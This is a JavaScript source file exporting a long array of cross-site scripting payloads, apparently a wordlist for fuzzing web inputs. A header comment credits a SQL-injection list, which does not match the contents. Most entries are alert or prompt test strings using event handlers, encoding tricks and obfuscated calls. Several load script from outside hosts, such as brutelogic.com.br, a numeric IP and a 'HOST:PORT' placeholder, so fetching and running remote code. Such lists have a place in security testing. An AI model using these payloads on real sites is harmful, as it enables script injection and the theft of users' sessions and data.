// Taken from https://raw.githubusercontent.com/payloadbox/sql-injection-payload-list/master/Intruder/detect/Generic_SQLI.txt
export const XSS = [
  String.raw`"-prompt(8)-"`,
  String.raw`'-prompt(8)-'`,
  String.raw`";a=prompt,a()//`,
  String.raw`';a=prompt,a()//`,
  String.raw`'-eval("window['pro'%2B'mpt'](8)")-'`,
  String.raw`"-eval("window['pro'%2B'mpt'](8)")-"`,
  String.raw`"onclick=prompt(8)>"@x.y`,
  String.raw`"onclick=prompt(8)><svg/onload=prompt(8)>"@x.y`,
  String.raw`<image/src/onerror=prompt(8)>`,
  String.raw`<img/src/onerror=prompt(8)>`,
  String.raw`<image src/onerror=prompt(8)>`,
  String.raw`<img src/onerror=prompt(8)>`,
  String.raw`<image src =q onerror=prompt(8)>`,
  String.raw`<img src =q onerror=prompt(8)>`,
  String.raw`</scrip</script>t><img src =q onerror=prompt(8)>`,
  String.raw`<svg onload=alert(1)>`,
  String.raw`"><svg onload=alert(1)//`,
  String.raw`"onmouseover=alert(1)//`,
  String.raw`"autofocus/onfocus=alert(1)//`,
  String.raw`'-alert(1)-'`,
  String.raw`'-alert(1)//`,
  String.raw`\'-alert(1)//`,
  String.raw`</script><svg onload=alert(1)>`,
  String.raw`<x contenteditable onblur=alert(1)>lose focus! `,
  String.raw`<x onclick=alert(1)>click this! `,
  String.raw`<x oncopy=alert(1)>copy this! `,
  String.raw`<x oncontextmenu=alert(1)>right click this! `,
  String.raw`<x oncut=alert(1)>copy this! `,
  String.raw`<x ondblclick=alert(1)>double click this! `,
  String.raw`<x ondrag=alert(1)>drag this! `,
  String.raw`<x contenteditable onfocus=alert(1)>focus this! `,
  String.raw`<x contenteditable oninput=alert(1)>input here! `,
  String.raw`<x contenteditable onkeydown=alert(1)>press any key! `,
  String.raw`<x contenteditable onkeypress=alert(1)>press any key! `,
  String.raw`<x contenteditable onkeyup=alert(1)>press any key! `,
  String.raw`<x onmousedown=alert(1)>click this! `,
  String.raw`<x onmousemove=alert(1)>hover this! `,
  String.raw`<x onmouseout=alert(1)>hover this! `,
  String.raw`<x onmouseover=alert(1)>hover this! `,
  String.raw`<x onmouseup=alert(1)>click this! `,
  String.raw`<x contenteditable onpaste=alert(1)>paste here!`,
  String.raw`<script>alert(1)// `,
  String.raw`<script>alert(1)<!–`,
  String.raw`<script src=//brutelogic.com.br/1.js> `,
  String.raw`<script src=//3334957647/1>`,
  String.raw`%3Cx onxxx=alert(1) `,
  String.raw`<%78 onxxx=1 `,
  String.raw`<x %6Fnxxx=1 `,
  String.raw`<x o%6Exxx=1 `,
  String.raw`<x on%78xx=1 `,
  String.raw`<x onxxx%3D1`,
  String.raw`<X onxxx=1 `,
  String.raw`<x OnXxx=1 `,
  String.raw`<X OnXxx=1 `,
  String.raw`<x onxxx=1 onxxx=1`,
  String.raw`<x/onxxx=1 `,
  String.raw`<x%09onxxx=1 `,
  String.raw`<x%0Aonxxx=1 `,
  String.raw`<x%0Conxxx=1 `,
  String.raw`<x%0Donxxx=1 `,
  String.raw`<x%2Fonxxx=1 `,
  String.raw`<x 1='1'onxxx=1 `,
  String.raw`<x 1="1"onxxx=1`,
  String.raw`<x </onxxx=1 `,
  String.raw`<x 1=">" onxxx=1 `,
  String.raw`<http://onxxx%3D1/`,
  String.raw`<x onxxx=alert(1) 1='`,
  String.raw`<svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)>`,
  String.raw`'onload=alert(1)><svg/1='`,
  String.raw`'>alert(1)</script><script/1=' `,
  String.raw`*/alert(1)</script><script>/*`,
  String.raw`*/alert(1)">'onload="/*<svg/1='`,
  String.raw`\`-alert(1)">'onload="\`<svg/1='`,
  String.raw`*/</script>'>alert(1)/*<script/1='`,
  String.raw`<script>alert(1)</script> `,
  String.raw`<script src=javascript:alert(1)> `,
  String.raw`<iframe src=javascript:alert(1)> `,
  String.raw`<embed src=javascript:alert(1)> `,
  String.raw`<a href=javascript:alert(1)>click `,
  String.raw`<math><brute href=javascript:alert(1)>click `,
  String.raw`<form action=javascript:alert(1)><input type=submit> `,
  String.raw`<isindex action=javascript:alert(1) type=submit value=click> `,
  String.raw`<form><button formaction=javascript:alert(1)>click `,
  String.raw`<form><input formaction=javascript:alert(1) type=submit value=click> `,
  String.raw`<form><input formaction=javascript:alert(1) type=image value=click> `,
  String.raw`<form><input formaction=javascript:alert(1) type=image src=SOURCE> `,
  String.raw`<isindex formaction=javascript:alert(1) type=submit value=click> `,
  String.raw`<object data=javascript:alert(1)> `,
  String.raw`<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;> `,
  String.raw`<svg><script xlink:href=data:,alert(1) /> `,
  String.raw`<math><brute xlink:href=javascript:alert(1)>click `,
  String.raw`<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&>`,
  String.raw`<html ontouchstart=alert(1)> `,
  String.raw`<html ontouchend=alert(1)> `,
  String.raw`<html ontouchmove=alert(1)> `,
  String.raw`<html ontouchcancel=alert(1)>`,
  String.raw`<body onorientationchange=alert(1)>`,
  String.raw`"><img src=1 onerror=alert(1)>.gif`,
  String.raw`<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>`,
  String.raw`GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;`,
  String.raw`<script src="data:&comma;alert(1)//`,
  String.raw`"><script src=data:&comma;alert(1)//`,
  String.raw`<script src="//brutelogic.com.br&sol;1.js&num; `,
  String.raw`"><script src=//brutelogic.com.br&sol;1.js&num; `,
  String.raw`<link rel=import href="data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt; `,
  String.raw`"><link rel=import href=data:text/html&comma;&lt;script&gt;alert(1)&lt;&sol;script&gt;`,
  String.raw`<base href=//0>`,
  String.raw`<script/src="data:&comma;eval(atob(location.hash.slice(1)))//#alert(1)`,
  String.raw`<body onload=alert(1)>`,
  String.raw`<body onpageshow=alert(1)>`,
  String.raw`<body onfocus=alert(1)>`,
  String.raw`<body onhashchange=alert(1)><a href=#x>click this!#x`,
  String.raw`<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x`,
  String.raw`<body onscroll=alert(1)><br><br><br><br>`,
  String.raw`<br><br><br><br><br><br><br><br><br><br>`,
  String.raw`<br><br><br><br><br><br><br><br><br><br>`,
  String.raw`<br><br><br><br><br><br><x id=x>#x`,
  String.raw`<body onresize=alert(1)>press F12!`,
  String.raw`<body onhelp=alert(1)>press F1! (MSIE)`,
  String.raw`<marquee onstart=alert(1)>`,
  String.raw`<marquee loop=1 width=0 onfinish=alert(1)>`,
  String.raw`<audio src onloadstart=alert(1)>`,
  String.raw`<video onloadstart=alert(1)><source>`,
  String.raw`<input autofocus onblur=alert(1)>`,
  String.raw`<keygen autofocus onfocus=alert(1)>`,
  String.raw`<form onsubmit=alert(1)><input type=submit>`,
  String.raw`<select onchange=alert(1)><option>1<option>2`,
  String.raw`<menu id=x contextmenu=x onshow=alert(1)>right click me!`,
  String.raw`alert\`1\``,
  String.raw`alert&lpar;1&rpar;`,
  String.raw`alert&#x28;1&#x29`,
  String.raw`alert&#40;1&#41`,
  String.raw`(alert)(1)`,
  String.raw`a=alert,a(1)`,
  String.raw`[1].find(alert)`,
  String.raw`top["al"+"ert"](1)`,
  String.raw`top[/al/.source+/ert/.source](1)`,
  String.raw`al\u0065rt(1)`,
  String.raw`top['al\145rt'](1)`,
  String.raw`top['al\x65rt'](1)`,
  String.raw`top[8680439..toString(30)](1)`,
  String.raw`navigator.vibrate(500)`,
  String.raw`eval(URL.slice(-8))>#alert(1)`,
  String.raw`eval(location.hash.slice(1)>#alert(1)`,
  String.raw`innerHTML=location.hash>#<script>alert(1)</script>`,
  String.raw`<a draggable="true" ondrag="alert(1)">test</a>`,
  String.raw`<a draggable="true" ondragend="alert(1)">test</a>`,
  String.raw`<a draggable="true" ondragenter="alert(1)">test</a>`,
  String.raw`<a draggable="true" ondragleave="alert(1)">test</a>`,
  String.raw`<a draggable="true" ondragstart="alert(1)">test</a>`,
  String.raw`<a id=x tabindex=1 onactivate=alert(1)></a>`,
  String.raw`<a id=x tabindex=1 onbeforeactivate=alert(1)></a>`,
  String.raw`<a id=x tabindex=1 onbeforedeactivate=alert(1)></a><input autofocus>`,
  String.raw`<a id=x tabindex=1 ondeactivate=alert(1)></a><input id=y autofocus>`,
  String.raw`<a id=x tabindex=1 onfocus=alert(1)></a>`,
  String.raw`<a id=x tabindex=1 onfocusin=alert(1)></a>`,
  String.raw`<a onbeforecopy="alert(1)" contenteditable>test</a>`,
  String.raw`<a onbeforecut="alert(1)" contenteditable>test</a>`,
  String.raw`<a onbeforepaste="alert(1)" contenteditable>test</a>`,
  String.raw`<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>`,
  String.raw`<a onclick="alert(1)">test</a>`,
  String.raw`<a oncontextmenu="alert(1)">test</a>`,
  String.raw`<a oncopy="alert(1)" contenteditable>test</a>`,
  String.raw`<a oncut="alert(1)" contenteditable>test</a>`,
  String.raw`<a ondblclick="alert(1)">test</a>`,
  String.raw`<a onfocusout=alert(1) tabindex=1 id=x></a><input autofocus>`,
  String.raw`<a onkeydown="alert(1)" contenteditable>test</a>`,
  String.raw`<a onkeypress="alert(1)" contenteditable>test</a>`,
  String.raw`<a onkeyup="alert(1)" contenteditable>test</a>`,
  String.raw`<a onmousedown="alert(1)">test</a>`,
  String.raw`<a onmouseenter="alert(1)">test</a>`,
  String.raw`<a onmouseleave="alert(1)">test</a>`,
  String.raw`<a onmousemove="alert(1)">test</a>`,
  String.raw`<a onmouseout="alert(1)">test</a>`,
  String.raw`<a onmouseover="alert(1)">test</a>`,
  String.raw`<a onmouseup="alert(1)">test</a>`,
  String.raw`<a onpaste="alert(1)" contenteditable>test</a>`,
  String.raw`<abbr draggable="true" ondrag="alert(1)">test</abbr>`,
  String.raw`<abbr draggable="true" ondragend="alert(1)">test</abbr>`,
  String.raw`<abbr draggable="true" ondragenter="alert(1)">test</abbr>`,
  String.raw`<abbr draggable="true" ondragleave="alert(1)">test</abbr>`,
  String.raw`<abbr draggable="true" ondragstart="alert(1)">test</abbr>`,
  String.raw`<abbr id=x tabindex=1 onactivate=alert(1)></abbr>`,
  String.raw`<abbr id=x tabindex=1 onbeforeactivate=alert(1)></abbr>`,
  String.raw`<abbr id=x tabindex=1 onbeforedeactivate=alert(1)></abbr><input autofocus>`,
  String.raw`<abbr id=x tabindex=1 ondeactivate=alert(1)></abbr><input id=y autofocus>`,
  String.raw`<abbr id=x tabindex=1 onfocus=alert(1)></abbr>`,
  String.raw`<abbr id=x tabindex=1 onfocusin=alert(1)></abbr>`,
  String.raw`<abbr onbeforecopy="alert(1)" contenteditable>test</abbr>`,
  String.raw`<abbr onbeforecut="alert(1)" contenteditable>test</abbr>`,
  String.raw`<abbr onbeforepaste="alert(1)" contenteditable>test</abbr>`,
  String.raw`<abbr onblur=alert(1) tabindex=1 id=x></abbr><input autofocus>`,
  String.raw`<abbr onclick="alert(1)">test</abbr>`,
  String.raw`<abbr oncontextmenu="alert(1)">test</abbr>`,
  String.raw`<abbr oncopy="alert(1)" contenteditable>test</abbr>`,
  String.raw`<abbr oncut="alert(1)" contenteditable>test</abbr>`,
  String.raw`<abbr ondblclick="alert(1)">test</abbr>`,
  String.raw`<abbr onfocusout=alert(1) tabindex=1 id=x></abbr><input autofocus>`,
  String.raw`<abbr onkeydown="alert(1)" contenteditable>test</abbr>`,
  String.raw`<abbr onkeypress="alert(1)" contenteditable>test</abbr>`,
  String.raw`<abbr onkeyup="alert(1)" contenteditable>test</abbr>`,
  String.raw`<abbr onmousedown="alert(1)">test</abbr>`,
  String.raw`<abbr onmouseenter="alert(1)">test</abbr>`,
  String.raw`<abbr onmouseleave="alert(1)">test</abbr>`,
  String.raw`<abbr onmousemove="alert(1)">test</abbr>`,
  String.raw`<abbr onmouseout="alert(1)">test</abbr>`,
  String.raw`<abbr onmouseover="alert(1)">test</abbr>`,
  String.raw`<abbr onmouseup="alert(1)">test</abbr>`,
  String.raw`<abbr onpaste="alert(1)" contenteditable>test</abbr>`,
  String.raw`<acronym draggable="true" ondrag="alert(1)">test</acronym>`,
  String.raw`<acronym draggable="true" ondragend="alert(1)">test</acronym>`,
  String.raw`<acronym draggable="true" ondragenter="alert(1)">test</acronym>`,
  String.raw`<acronym draggable="true" ondragleave="alert(1)">test</acronym>`,
  String.raw`<acronym draggable="true" ondragstart="alert(1)">test</acronym>`,
  String.raw`<acronym id=x tabindex=1 onactivate=alert(1)></acronym>`,
  String.raw`<acronym id=x tabindex=1 onbeforeactivate=alert(1)></acronym>`,
  String.raw`<acronym id=x tabindex=1 onbeforedeactivate=alert(1)></acronym><input autofocus>`,
  String.raw`<acronym id=x tabindex=1 ondeactivate=alert(1)></acronym><input id=y autofocus>`,
  String.raw`<acronym id=x tabindex=1 onfocus=alert(1)></acronym>`,
  String.raw`<acronym id=x tabindex=1 onfocusin=alert(1)></acronym>`,
  String.raw`<acronym onbeforecopy="alert(1)" contenteditable>test</acronym>`,
  String.raw`<acronym onbeforecut="alert(1)" contenteditable>test</acronym>`,
  String.raw`<acronym onbeforepaste="alert(1)" contenteditable>test</acronym>`,
  String.raw`<acronym onblur=alert(1) tabindex=1 id=x></acronym><input autofocus>`,
  String.raw`<acronym onclick="alert(1)">test</acronym>`,
  String.raw`<acronym oncontextmenu="alert(1)">test</acronym>`,
  String.raw`<acronym oncopy="alert(1)" contenteditable>test</acronym>`,
  String.raw`<acronym oncut="alert(1)" contenteditable>test</acronym>`,
  String.raw`<acronym ondblclick="alert(1)">test</acronym>`,
  String.raw`<acronym onfocusout=alert(1) tabindex=1 id=x></acronym><input autofocus>`,
  String.raw`<acronym onkeydown="alert(1)" contenteditable>test</acronym>`,
  String.raw`<acronym onkeypress="alert(1)" contenteditable>test</acronym>`,
  String.raw`<acronym onkeyup="alert(1)" contenteditable>test</acronym>`,
  String.raw`<acronym onmousedown="alert(1)">test</acronym>`,
  String.raw`<acronym onmouseenter="alert(1)">test</acronym>`,
  String.raw`<acronym onmouseleave="alert(1)">test</acronym>`,
  String.raw`<acronym onmousemove="alert(1)">test</acronym>`,
  String.raw`<acronym onmouseout="alert(1)">test</acronym>`,
  String.raw`<acronym onmouseover="alert(1)">test</acronym>`,
  String.raw`<acronym onmouseup="alert(1)">test</acronym>`,
  String.raw`<acronym onpaste="alert(1)" contenteditable>test</acronym>`,
  String.raw`<address draggable="true" ondrag="alert(1)">test</address>`,
  String.raw`<address draggable="true" ondragend="alert(1)">test</address>`,
  String.raw`<address draggable="true" ondragenter="alert(1)">test</address>`,
  String.raw`<address draggable="true" ondragleave="alert(1)">test</address>`,
  String.raw`<address draggable="true" ondragstart="alert(1)">test</address>`,
  String.raw`<address id=x tabindex=1 onactivate=alert(1)></address>`,
  String.raw`<address id=x tabindex=1 onbeforeactivate=alert(1)></address>`,
  String.raw`<address id=x tabindex=1 onbeforedeactivate=alert(1)></address><input autofocus>`,
  String.raw`<address id=x tabindex=1 ondeactivate=alert(1)></address><input id=y autofocus>`,
  String.raw`<address id=x tabindex=1 onfocus=alert(1)></address>`,
  String.raw`<address id=x tabindex=1 onfocusin=alert(1)></address>`,
  String.raw`<address onbeforecopy="alert(1)" contenteditable>test</address>`,
  String.raw`<address onbeforecut="alert(1)" contenteditable>test</address>`,
  String.raw`<address onbeforepaste="alert(1)" contenteditable>test</address>`,
  String.raw`<address onblur=alert(1) tabindex=1 id=x></address><input autofocus>`,
  String.raw`<address onclick="alert(1)">test</address>`,
  String.raw`<address oncontextmenu="alert(1)">test</address>`,
  String.raw`<address oncopy="alert(1)" contenteditable>test</address>`,
  String.raw`<address oncut="alert(1)" contenteditable>test</address>`,
  String.raw`<address ondblclick="alert(1)">test</address>`,
  String.raw`<address onfocusout=alert(1) tabindex=1 id=x></address><input autofocus>`,
  String.raw`<address onkeydown="alert(1)" contenteditable>test</address>`,
  String.raw`<address onkeypress="alert(1)" contenteditable>test</address>`,
  String.raw`<address onkeyup="alert(1)" contenteditable>test</address>`,
  String.raw`<address onmousedown="alert(1)">test</address>`,
  String.raw`<address onmouseenter="alert(1)">test</address>`,
  String.raw`<address onmouseleave="alert(1)">test</address>`,
  String.raw`<address onmousemove="alert(1)">test</address>`,
  String.raw`<address onmouseout="alert(1)">test</address>`,
  String.raw`<address onmouseover="alert(1)">test</address>`,
  String.raw`<address onmouseup="alert(1)">test</address>`,
  String.raw`<address onpaste="alert(1)" contenteditable>test</address>`,
  String.raw`<applet draggable="true" ondrag="alert(1)">test</applet>`,
  String.raw`<applet draggable="true" ondragend="alert(1)">test</applet>`,
  String.raw`<applet draggable="true" ondragenter="alert(1)">test</applet>`,
  String.raw`<applet draggable="true" ondragleave="alert(1)">test</applet>`,
  String.raw`<applet draggable="true" ondragstart="alert(1)">test</applet>`,
  String.raw`<applet id=x tabindex=1 onactivate=alert(1)></applet>`,
  String.raw`<applet id=x tabindex=1 onbeforeactivate=alert(1)></applet>`,
  String.raw`<applet id=x tabindex=1 onbeforedeactivate=alert(1)></applet><input autofocus>`,
  String.raw`<applet id=x tabindex=1 ondeactivate=alert(1)></applet><input id=y autofocus>`,
  String.raw`<applet id=x tabindex=1 onfocus=alert(1)></applet>`,
  String.raw`<applet id=x tabindex=1 onfocusin=alert(1)></applet>`,
  String.raw`<applet onbeforecopy="alert(1)" contenteditable>test</applet>`,
  String.raw`<applet onbeforecut="alert(1)" contenteditable>test</applet>`,
  String.raw`<applet onbeforepaste="alert(1)" contenteditable>test</applet>`,
  String.raw`<applet onblur=alert(1) tabindex=1 id=x></applet><input autofocus>`,
  String.raw`<applet onclick="alert(1)">test</applet>`,
  String.raw`<applet oncontextmenu="alert(1)">test</applet>`,
  String.raw`<applet oncopy="alert(1)" contenteditable>test</applet>`,
  String.raw`<applet oncut="alert(1)" contenteditable>test</applet>`,
  String.raw`<applet ondblclick="alert(1)">test</applet>`,
  String.raw`<applet onfocusout=alert(1) tabindex=1 id=x></applet><input autofocus>`,
  String.raw`<applet onkeydown="alert(1)" contenteditable>test</applet>`,
  String.raw`<applet onkeypress="alert(1)" contenteditable>test</applet>`,
  String.raw`<applet onkeyup="alert(1)" contenteditable>test</applet>`,
  String.raw`<applet onmousedown="alert(1)">test</applet>`,
  String.raw`<applet onmouseenter="alert(1)">test</applet>`,
  String.raw`<applet onmouseleave="alert(1)">test</applet>`,
  String.raw`<applet onmousemove="alert(1)">test</applet>`,
  String.raw`<applet onmouseout="alert(1)">test</applet>`,
  String.raw`<applet onmouseover="alert(1)">test</applet>`,
  String.raw`<applet onmouseup="alert(1)">test</applet>`,
  String.raw`<applet onpaste="alert(1)" contenteditable>test</applet>`,
  String.raw`<applet onreadystatechange=alert(1)></applet>`,
  String.raw`<area draggable="true" ondrag="alert(1)">test</area>`,
  String.raw`<area draggable="true" ondragend="alert(1)">test</area>`,
  String.raw`<area draggable="true" ondragenter="alert(1)">test</area>`,
  String.raw`<area draggable="true" ondragleave="alert(1)">test</area>`,
  String.raw`<area draggable="true" ondragstart="alert(1)">test</area>`,
  String.raw`<area id=x tabindex=1 onactivate=alert(1)></area>`,
  String.raw`<area id=x tabindex=1 onbeforeactivate=alert(1)></area>`,
  String.raw`<area id=x tabindex=1 onbeforedeactivate=alert(1)></area><input autofocus>`,
  String.raw`<area id=x tabindex=1 ondeactivate=alert(1)></area><input id=y autofocus>`,
  String.raw`<area onbeforecopy="alert(1)" contenteditable>test</area>`,
  String.raw`<area onbeforecut="alert(1)" contenteditable>test</area>`,
  String.raw`<area onbeforepaste="alert(1)" contenteditable>test</area>`,
  String.raw`<area onblur=alert(1) tabindex=1 id=x></area><input autofocus>`,
  String.raw`<area onclick="alert(1)">test</area>`,
  String.raw`<area oncontextmenu="alert(1)">test</area>`,
  String.raw`<area oncopy="alert(1)" contenteditable>test</area>`,
  String.raw`<area oncut="alert(1)" contenteditable>test</area>`,
  String.raw`<area ondblclick="alert(1)">test</area>`,
  String.raw`<area onfocusout=alert(1) tabindex=1 id=x></area><input autofocus>`,
  String.raw`<area onkeydown="alert(1)" contenteditable>test</area>`,
  String.raw`<area onkeypress="alert(1)" contenteditable>test</area>`,
  String.raw`<area onkeyup="alert(1)" contenteditable>test</area>`,
  String.raw`<area onmousedown="alert(1)">test</area>`,
  String.raw`<area onmouseenter="alert(1)">test</area>`,
  String.raw`<area onmouseleave="alert(1)">test</area>`,
  String.raw`<area onmousemove="alert(1)">test</area>`,
  String.raw`<area onmouseout="alert(1)">test</area>`,
  String.raw`<area onmouseover="alert(1)">test</area>`,
  String.raw`<area onmouseup="alert(1)">test</area>`,
  String.raw`<area onpaste="alert(1)" contenteditable>test</area>`,
  String.raw`<article draggable="true" ondrag="alert(1)">test</article>`,
  String.raw`<article draggable="true" ondragend="alert(1)">test</article>`,
  String.raw`<article draggable="true" ondragenter="alert(1)">test</article>`,
  String.raw`<article draggable="true" ondragleave="alert(1)">test</article>`,
  String.raw`<article draggable="true" ondragstart="alert(1)">test</article>`,
  String.raw`<article id=x tabindex=1 onactivate=alert(1)></article>`,
  String.raw`<article id=x tabindex=1 onbeforeactivate=alert(1)></article>`,
  String.raw`<article id=x tabindex=1 onbeforedeactivate=alert(1)></article><input autofocus>`,
  String.raw`<article id=x tabindex=1 ondeactivate=alert(1)></article><input id=y autofocus>`,
  String.raw`<article id=x tabindex=1 onfocus=alert(1)></article>`,
  String.raw`<article id=x tabindex=1 onfocusin=alert(1)></article>`,
  String.raw`<article onbeforecopy="alert(1)" contenteditable>test</article>`,
  String.raw`<article onbeforecut="alert(1)" contenteditable>test</article>`,
  String.raw`<article onbeforepaste="alert(1)" contenteditable>test</article>`,
  String.raw`<article onblur=alert(1) tabindex=1 id=x></article><input autofocus>`,
  String.raw`<article onclick="alert(1)">test</article>`,
  String.raw`<article oncontextmenu="alert(1)">test</article>`,
  String.raw`<article oncopy="alert(1)" contenteditable>test</article>`,
  String.raw`<article oncut="alert(1)" contenteditable>test</article>`,
  String.raw`<article ondblclick="alert(1)">test</article>`,
  String.raw`<article onfocusout=alert(1) tabindex=1 id=x></article><input autofocus>`,
  String.raw`<article onkeydown="alert(1)" contenteditable>test</article>`,
  String.raw`<article onkeypress="alert(1)" contenteditable>test</article>`,
  String.raw`<article onkeyup="alert(1)" contenteditable>test</article>`,
  String.raw`<article onmousedown="alert(1)">test</article>`,
  String.raw`<article onmouseenter="alert(1)">test</article>`,
  String.raw`<article onmouseleave="alert(1)">test</article>`,
  String.raw`<article onmousemove="alert(1)">test</article>`,
  String.raw`<article onmouseout="alert(1)">test</article>`,
  String.raw`<article onmouseover="alert(1)">test</article>`,
  String.raw`<article onmouseup="alert(1)">test</article>`,
  String.raw`<article onpaste="alert(1)" contenteditable>test</article>`,
  String.raw`<aside draggable="true" ondrag="alert(1)">test</aside>`,
  String.raw`<aside draggable="true" ondragend="alert(1)">test</aside>`,
  String.raw`<aside draggable="true" ondragenter="alert(1)">test</aside>`,
  String.raw`<aside draggable="true" ondragleave="alert(1)">test</aside>`,
  String.raw`<aside draggable="true" ondragstart="alert(1)">test</aside>`,
  String.raw`<aside id=x tabindex=1 onactivate=alert(1)></aside>`,
  String.raw`<aside id=x tabindex=1 onbeforeactivate=alert(1)></aside>`,
  String.raw`<aside id=x tabindex=1 onbeforedeactivate=alert(1)></aside><input autofocus>`,
  String.raw`<aside id=x tabindex=1 ondeactivate=alert(1)></aside><input id=y autofocus>`,
  String.raw`<aside id=x tabindex=1 onfocus=alert(1)></aside>`,
  String.raw`<aside id=x tabindex=1 onfocusin=alert(1)></aside>`,
  String.raw`<aside onbeforecopy="alert(1)" contenteditable>test</aside>`,
  String.raw`<aside onbeforecut="alert(1)" contenteditable>test</aside>`,
  String.raw`<aside onbeforepaste="alert(1)" contenteditable>test</aside>`,
  String.raw`<aside onblur=alert(1) tabindex=1 id=x></aside><input autofocus>`,
  String.raw`<aside onclick="alert(1)">test</aside>`,
  String.raw`<aside oncontextmenu="alert(1)">test</aside>`,
  String.raw`<aside oncopy="alert(1)" contenteditable>test</aside>`,
  String.raw`<aside oncut="alert(1)" contenteditable>test</aside>`,
  String.raw`<aside ondblclick="alert(1)">test</aside>`,
  String.raw`<aside onfocusout=alert(1) tabindex=1 id=x></aside><input autofocus>`,
  String.raw`<aside onkeydown="alert(1)" contenteditable>test</aside>`,
  String.raw`<aside onkeypress="alert(1)" contenteditable>test</aside>`,
  String.raw`<aside onkeyup="alert(1)" contenteditable>test</aside>`,
  String.raw`<aside onmousedown="alert(1)">test</aside>`,
  String.raw`<aside onmouseenter="alert(1)">test</aside>`,
  String.raw`<aside onmouseleave="alert(1)">test</aside>`,
  String.raw`<aside onmousemove="alert(1)">test</aside>`,
  String.raw`<aside onmouseout="alert(1)">test</aside>`,
  String.raw`<aside onmouseover="alert(1)">test</aside>`,
  String.raw`<aside onmouseup="alert(1)">test</aside>`,
  String.raw`<aside onpaste="alert(1)" contenteditable>test</aside>`,
  String.raw`<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`,
  String.raw`<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`,
  String.raw`<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`,
  String.raw`<audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`,
  String.raw`<audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio>`,
  String.raw`<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`,
  String.raw`<audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`,
  String.raw`<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`,
  String.raw`<audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`,
  String.raw`<audio draggable="true" ondrag="alert(1)">test</audio>`,
  String.raw`<audio draggable="true" ondragend="alert(1)">test</audio>`,
  String.raw`<audio draggable="true" ondragenter="alert(1)">test</audio>`,
  String.raw`<audio draggable="true" ondragleave="alert(1)">test</audio>`,
  String.raw`<audio draggable="true" ondragstart="alert(1)">test</audio>`,
  String.raw`<audio id=x controls onfocus=alert(1) id=x><source src="validaudio.wav"></audio>`,
  String.raw`<audio id=x controls onfocusin=alert(1) id=x><source src="validaudio.wav"></audio>`,
  String.raw`<audio id=x tabindex=1 onactivate=alert(1)></audio>`,
  String.raw`<audio id=x tabindex=1 onbeforeactivate=alert(1)></audio>`,
  String.raw`<audio id=x tabindex=1 onbeforedeactivate=alert(1)></audio><input autofocus>`,
  String.raw`<audio id=x tabindex=1 ondeactivate=alert(1)></audio><input id=y autofocus>`,
  String.raw`<audio onbeforecopy="alert(1)" contenteditable>test</audio>`,
  String.raw`<audio onbeforecut="alert(1)" contenteditable>test</audio>`,
  String.raw`<audio onbeforepaste="alert(1)" contenteditable>test</audio>`,
  String.raw`<audio onblur=alert(1) tabindex=1 id=x></audio><input autofocus>`,
  String.raw`<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`,
  String.raw`<audio onclick="alert(1)">test</audio>`,
  String.raw`<audio oncontextmenu="alert(1)">test</audio>`,
  String.raw`<audio oncopy="alert(1)" contenteditable>test</audio>`,
  String.raw`<audio oncut="alert(1)" contenteditable>test</audio>`,
  String.raw`<audio ondblclick="alert(1)">test</audio>`,
  String.raw`<audio onfocusout=alert(1) tabindex=1 id=x></audio><input autofocus>`,
  String.raw`<audio onkeydown="alert(1)" contenteditable>test</audio>`,
  String.raw`<audio onkeypress="alert(1)" contenteditable>test</audio>`,
  String.raw`<audio onkeyup="alert(1)" contenteditable>test</audio>`,
  String.raw`<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>`,
  String.raw`<audio onmousedown="alert(1)">test</audio>`,
  String.raw`<audio onmouseenter="alert(1)">test</audio>`,
  String.raw`<audio onmouseleave="alert(1)">test</audio>`,
  String.raw`<audio onmousemove="alert(1)">test</audio>`,
  String.raw`<audio onmouseout="alert(1)">test</audio>`,
  String.raw`<audio onmouseover="alert(1)">test</audio>`,
  String.raw`<audio onmouseup="alert(1)">test</audio>`,
  String.raw`<audio onpaste="alert(1)" contenteditable>test</audio>`,
  String.raw`<audio src/onerror=alert(1)>`,
  String.raw`<b draggable="true" ondrag="alert(1)">test</b>`,
  String.raw`<b draggable="true" ondragend="alert(1)">test</b>`,
  String.raw`<b draggable="true" ondragenter="alert(1)">test</b>`,
  String.raw`<b draggable="true" ondragleave="alert(1)">test</b>`,
  String.raw`<b draggable="true" ondragstart="alert(1)">test</b>`,
  String.raw`<b id=x tabindex=1 onactivate=alert(1)></b>`,
  String.raw`<b id=x tabindex=1 onbeforeactivate=alert(1)></b>`,
  String.raw`<b id=x tabindex=1 onbeforedeactivate=alert(1)></b><input autofocus>`,
  String.raw`<b id=x tabindex=1 ondeactivate=alert(1)></b><input id=y autofocus>`,
  String.raw`<b id=x tabindex=1 onfocus=alert(1)></b>`,
  String.raw`<b id=x tabindex=1 onfocusin=alert(1)></b>`,
  String.raw`<b onbeforecopy="alert(1)" contenteditable>test</b>`,
  String.raw`<b onbeforecut="alert(1)" contenteditable>test</b>`,
  String.raw`<b onbeforepaste="alert(1)" contenteditable>test</b>`,
  String.raw`<b onblur=alert(1) tabindex=1 id=x></b><input autofocus>`,
  String.raw`<b onclick="alert(1)">test</b>`,
  String.raw`<b oncontextmenu="alert(1)">test</b>`,
  String.raw`<b oncopy="alert(1)" contenteditable>test</b>`,
